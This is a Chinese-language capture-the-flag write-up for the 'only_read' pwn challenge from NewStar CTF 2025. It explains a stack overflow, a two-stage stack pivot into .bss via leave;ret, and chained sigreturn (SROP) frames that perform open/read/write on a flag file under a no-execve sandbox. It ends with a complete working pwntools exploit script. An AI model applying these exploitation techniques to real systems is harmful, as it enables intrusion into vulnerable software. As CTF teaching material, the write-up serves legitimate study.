only_read


有sandbox,禁用了execve
main函数:

gift函数:

汇编代码是:

vuln函数:

题目是静态链接,禁用exeve那肯定要用orw,这里vuln函数存在栈溢出,这里出题人直接给了我们一个完美的sigreturn gadget(gift函数),我们看汇编,这里它把rax设置成了15,执行syscall,然后ret,就是标准的sigreturn,那我们考虑使用srop(orw的rop链应该也可以,但是要复杂很多),那什么是srop呢(我浅显的理解):
正常情况:当信号中断(程序中断或崩溃等)时,内核会创建一个SigContext 结构体,这里面记录了rip,rax,rbx,rcx, rdx, rsi, rdi,rsp等等,然后内核会把这个结构体压入栈,这时它在rsp的位置,当信号恢复(程序恢复运行等),内核会调用sigreturn(在64位中是syscall15),它会把按照SigContext 结构体的内容恢复rip那些的内容
利用思路:内核不会管是不是信号中断了,只要它执行了sigreturn,就会把rsp的SigContext 结构体拿来用,如果我们把rsp覆盖成我们自己设置的SigContext 结构体,那意味着我们就可以控制几乎所有的通用寄存器
vuln函数给了我们一个溢出,但是最多输入256字节,我们一个srop帧都要200多字节,orw需要三个srop帧,那位置肯定是不够的,那这里我们要使用栈迁移了,什么是栈迁移呢
首先,栈是由rsp决定,rsp在哪,栈就在哪,那我们想把栈移动到另一个区域例如.bss,那我们就要让rsp指向.bss的位置,那该怎么办呢,我们有一个特殊的gadget:leave_ret,这个gadget就是三个指令
mov rsp,rbp
pop rbp
pop rip
也就是说只要我们控制rbp就能控制rsp了,但是要注意一个点,就是最后的ret(pop rip),这里我们要确保rbp+8的位置是有执行的东西的
那我们看这道题,我们想把栈迁移到.bss但是我们只有一次读入机会,那我们肯定不能直接栈迁移了,我们要分两阶段,看vuln的汇编代码

开头我们可以看到buf = -10h,然后看调用read前,edi设置为0,edx设置为100h,lea rax, [rbp+buf]这里表示把rbp-10h计算出来的地址赋给rax(这里的中括号和mov中不同,mov中是该地址存放的内容),后面又mov rsi,rax,也就是说我们可以通过覆盖rbp改变read的读入位置,函数结尾有个leave_ret
那我们二阶段栈迁移的思路就是,首先payload = b'a'*0x10 + p64(bss_addr) + p64(read)(注意这里的read的地址是lea rax, [rbp+buf]),我们读入之后vuln函数执行leave_ret,先mov rsp,rbp,rsp指向的地址变成rbp指向的地址,然后pop rbp,rbp变成了rsp指向的地址里存的东西,也就是[rsp]=[rbp]=bss_addr(我们把rbp指向的地址里存的东西覆盖成了bss_addr,这里我们实现了第一层控制,我们成功控制了rbp指向的地址为bss_addr),但是我们并没有成功控制rsp,pop rbp后rsp指向旧的rbp+8的位置,这里面存着read,然后ret(return相当于ret),开始从learax, [rbp+buf]执行
我们的一阶段完成,这个阶段就是控制rbp为目标地址的,如果bss_addr里面有内容,我们最后就不用read地址而是leave_retgadget地址,再来一次mov rsp,rbp就成功把rsp控制成bss_addr了,也就成功栈迁移了,最后ret开始执行bss_addr上的内容,但是我们这里bss_addr原本没有内容,所以只能在最后调用read,利用我们一阶段控制了rbp和lea rax, [rbp+buf]使这一次read向bss_addr-10h读入内容,然后再leave_ret成功控制rsp并执行bss_addr上的内容。
好,我们开始二阶段,我们要先想好再bss_addr上放什么内容来执行,我们的目标是执行srop,这就要求我们最后rsp放我们伪造的SigContext 结构体,但是那个位置我们是要放leave_ret来控制rsp,那我们只能继续放read地址,再执行一次read来开始读入srop链,那我们paylaod2这样构造
1. payload = p64(bss_addr+0x100) + p64(read)
2.
3. payload += p64(bss_addr-0x10) + p64(leave_ret)
4.
5. payload += b'./flag\x00\x00'
这里我结合payload2发送后的bss_addr的内容来解释:
读入paylaod2后依旧是执行vuln函数结尾的leave_ret,mov rsp,rbp让rsp指向bss_addr,pop rbp让rbp=[rsp]= p64(bss_addr-0x10),保证了rbp依旧在bss_addr内且为后面做准备,然后rsp指向bss_addr + 0x8,然后ret执行我们读入的leave_ret,mov rsp,rbp让rsp指向bss_addr - 0x10(这里我们就完成了栈迁移,我们成功控制rsp指向bss_addr了),pop rbp让rbp=[rsp]= p64(bss_addr+0x100),然后rsp指向bss_addr - 0x8,然后ret调用read,我们的二阶段完成,我们接下来开始布置srop链了,注意,这次读入是把第一个srop放在rbp-10也就是bss_addr+0xF0
先放这个:payload = p64(0)*2 + p64(bss_addr+0x200) + p64(read) + p64(gift) + bytes(frame)
这个放完布局是什么呢:
我们现在read完后又开始vuln结尾的leave_ret,我就简略说一下,rsp指向bss_addr + 0x100,rbp变成bss_addr+0x200,rsp指向bss_addr + 0x108,ret,又返回执行read(注意这里是因为我们没有pop rdx; ret来控制读入的大小,所以我们只能一直用256字节,每次读入一个srop然后循环接上下一个),然后再读入payload =p64(0)*2 + p64(bss_addr+0x300) + p64(read) + p64(gift),放置第二个srop,然后再读入payload = p64(0)*2 + p64(bss_addr+0x108) + p64(leave_ret) + p64(gift)放置第三个srop,那么此时的布局是什么呢
read完成后依旧执行vuln结尾的leave_ret(执行前rbp指向bss_addr + 0x300),rsp指向bss_addr + 0x300,rbp变成bss_addr + 0x108,rsp变成bss_addr + 0x308,ret执行leave_ret,rsp指向bss_addr + 0x108,然后rbp变成p64(read),rsp变成p64(gift),ret执行gift(即syscall 15),rsp指向bss_addr + 0x118,里面存着bytes(frame_open),我以frame_open解释一下是怎么设置的
frame = SigreturnFrame()(拿来一个空的SigContext 结构体,里面把所有的都设置为0,非常巨大)
frame.rax = 2(系统调用号,相当于constants.SYS_read)
frame.rdi = 0x404a10(我们放文件名的地方)
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall(syscall; ret gadget 的地址,执行syscall,ret)
frame.rsp = bss_addr + 0x210(上面执行了一个ret,rsp就相当于指向下一步要执行的东西,这里指向下一个gift)
payload += bytes(frame)
if len(payload) > 0x100: payload = payload[:0x100](整个结构体非常庞大,肯定大于256字节,但是我们需要设置的这几个寄存器都在结构体前,所以我们直接截断为256字节也能正常使用)其实这里就写open、read、write的参数的寄存器罢了,然后就是接连引爆,成功getflag
EXP:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = remote('8.147.132.32', 27991)
io = process('./srop')
bss_addr = 0x404a00
leave_ret = 0x4012b0
read = 0x401349
gift = 0x401366
syscall = 0x40136D
payload = b'a'*0x10 + p64(bss_addr) + p64(read)
io.send(payload); sleep(0.2)
payload = p64(bss_addr+0x100) + p64(read)
payload += p64(bss_addr-0x10) + p64(leave_ret)
payload += b'./flag\x00\x00'
io.send(payload); sleep(0.2)
payload = p64(0)*2 + p64(bss_addr+0x200) + p64(read) + p64(gift)
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = 0x404a10
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = bss_addr + 0x210
payload += bytes(frame)
if len(payload) > 0x100: payload = payload[:0x100]
io.send(payload); sleep(0.2)
payload = p64(0)*2 + p64(bss_addr+0x300) + p64(read) + p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 3
frame.rsi = bss_addr + 0x400
frame.rdx = 0x50
frame.rip = syscall
frame.rsp = bss_addr + 0x310
payload += bytes(frame)
if len(payload) > 0x100: payload = payload[:0x100]
io.send(payload); sleep(0.2)
payload = p64(0)*2 + p64(bss_addr+0x108) + p64(leave_ret) + p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 1
frame.rsi = bss_addr + 0x400
frame.rdx = 0x50
frame.rip = syscall
payload += bytes(frame)
if len(payload) > 0x100: payload = payload[:0x100]
io.send(payload); sleep(0.2)
io.interactive()
题目链接:
CTF-Writeups/NewStar CTF 2025/only_read at main · ZenDuk17/CTF-Writeups